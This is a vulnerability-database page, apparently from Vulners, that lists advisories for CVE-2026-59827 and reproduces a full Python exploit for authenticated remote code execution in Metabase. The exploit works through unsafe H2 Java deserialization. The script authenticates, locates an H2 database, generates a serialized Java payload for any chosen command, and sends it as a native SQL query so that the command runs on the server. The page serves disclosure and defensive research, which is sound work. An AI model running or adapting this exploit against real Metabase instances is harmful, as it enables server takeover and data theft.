Metabase 0.61.0 - Authenticated Remote Code Execution
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Exploit for Deserialization of Untrusted Data in Metabase | 12 Aug 202614:34 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Metabase | 15 Jul 202608:00 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Metabase | 23 Jul 202608:46 | – | githubexploit | |
| CVE-2026-59827 | 9 Jul 202617:43 | – | attackerkb | |
| The vulnerability of the Metabase data visualization and reporting software, related to deficiencies in the deserialization mechanism, allows a perpetrator to execute arbitrary code. | 29 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-59827 | 9 Jul 202618:26 | – | circl | |
| CVE-2026-59827 | 9 Jul 202617:43 | – | cve | |
| CVE-2026-59827 Metabase: Unsafe Deserialization of H2 Query Results | 9 Jul 202617:43 | – | cvelist | |
| EUVD-2026-42659 | 9 Jul 202617:43 | – | euvd | |
| CVE-2026-59827 | 4 Sep 202602:38 | – | kitploit |
10
# Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution
# Date: 2026-08-12
# Exploit Author: Gutierre0x80
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://github.com/metabase/metabase
# Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4
# CVE: CVE-2026-59827
#
# Advisory:
# https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
#
# Description:
# Metabase instances with an H2 database connection, including the default
# sample database, deserialize arbitrary Java objects returned by native H2
# queries in result columns of type OTHER without validation. An authenticated
# user with permission to execute native queries against an accessible H2
# database can exploit this behavior to execute arbitrary operating-system
# commands on the Metabase server.
#
# Requirements:
# - Valid Metabase credentials
# - Permission to execute native database queries
# - Access to an H2 database connection, including the default sample database
#
# Download:
# git clone https://github.com/Gutierre0x80/CVE-2026-59827.git
# cd CVE-2026-59827
#
# Usage:
# python3 exploit.py <target_url> <username> <password> <command>
#
# Example:
# python3 exploit.py http://127.0.0.1:3000 [email protected] 'Password123!' 'id'
#
# Repository:
# https://github.com/Gutierre0x80/CVE-2026-59827
#!/usr/bin/env python3
"""
Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL
Affects: <= v0.61.1 (latest at time of disclosure)
Usage:
python3 exploit.py <url> <user> <password> <command>
Example:
python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id"
Required files (same directory as this script):
clojure-1.12.3.jar
VarChainPayload.class
"""
import os
import sys
import subprocess
import requests
HERE = os.path.dirname(os.path.realpath(__file__))
CLJ_JAR = os.path.join(HERE, "clojure-1.12.3.jar")
CLASSPATH = f":{CLJ_JAR}:{HERE}"
def die(msg):
print(f"[-] {msg}", file=sys.stderr)
sys.exit(1)
def check_deps():
missing = []
# Check local files
for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]:
if not os.path.isfile(p):
missing.append(os.path.basename(p))
if missing:
die(f"Missing files in {HERE}: {missing}")
# Check system binaries
try:
subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True)
except (FileNotFoundError, subprocess.CalledProcessError):
die("Java not found or not working. Install OpenJDK 11+ and add to PATH")
try:
import requests
except ImportError:
die("Python 'requests' library not found. Install with: pip install requests")
def get_token(session, url, user, password):
r = session.post(f"{url}/api/session",
json={"username": user, "password": password}, timeout=15)
r.raise_for_status()
token = r.json().get("id")
if not token:
die(f"Authentication failed: {r.text[:200]}")
return token
def get_h2_db_id(session, url, token):
r = session.get(f"{url}/api/database",
headers={"X-Metabase-Session": token}, timeout=15)
r.raise_for_status()
data = r.json()
dbs = data.get("data", data) if isinstance(data, dict) else data
for db in dbs:
if db.get("engine") == "h2":
return db["id"], db["name"]
die("No H2 database found in this Metabase instance.")
def generate_payload(command):
result = subprocess.run(
["java",
"--add-opens", "java.base/java.util=ALL-UNNAMED",
"-cp", CLASSPATH,
"VarChainPayload", command],
capture_output=True, text=True, timeout=30
)
payload = result.stdout.strip()
if not payload:
die(f"Payload generation failed:\n{result.stderr}")
return payload
def fire(session, url, token, db_id, payload_hex):
sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
r = session.post(
f"{url}/api/dataset",
headers={"X-Metabase-Session": token},
json={"database": db_id, "native": {"query": sql}, "type": "native"},
timeout=30
)
return r.json()
def main():
if len(sys.argv) != 5:
print(__doc__)
sys.exit(1)
_, url, user, password, command = sys.argv
url = url.rstrip("/")
check_deps()
s = requests.Session()
s.headers.update({"Content-Type": "application/json"})
print(f"[*] Target : {url}")
print(f"[*] User : {user}")
print(f"[*] Command : {command}")
print()
print("[*] Authenticating...")
token = get_token(s, url, user, password)
print(f"[+] Session : {token}")
print("[*] Locating H2 database...")
db_id, db_name = get_h2_db_id(s, url, token)
print(f"[+] Database : {db_name} (id={db_id})")
print("[*] Generating payload...")
payload = generate_payload(command)
print(f"[+] Payload : {len(payload) // 2} bytes")
print("[*] Firing exploit...")
result = fire(s, url, token, db_id, payload)
error = str(result)
ran_indicators = [
"ClassCastException", # normal: Process cast to Number
"ProcessImpl", # process object leaked in error
"NonTransientConnection", # H2 lock after exec triggered reconnect
"JdbcSQLData", # deserialization error after exec
]
if any(ind in error for ind in ran_indicators):
print("[+] RCE executed — H2 error after deserialization confirms command ran")
else:
print(f"[?] Unexpected response (command may not have run): {error[:300]}")
print()
print("[*] Done. If the command writes output to a file, retrieve it separately.")
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Sep 2026 00:00Current
CVSS 3.18.8 - 9.9
EPSS0.00934
SSVC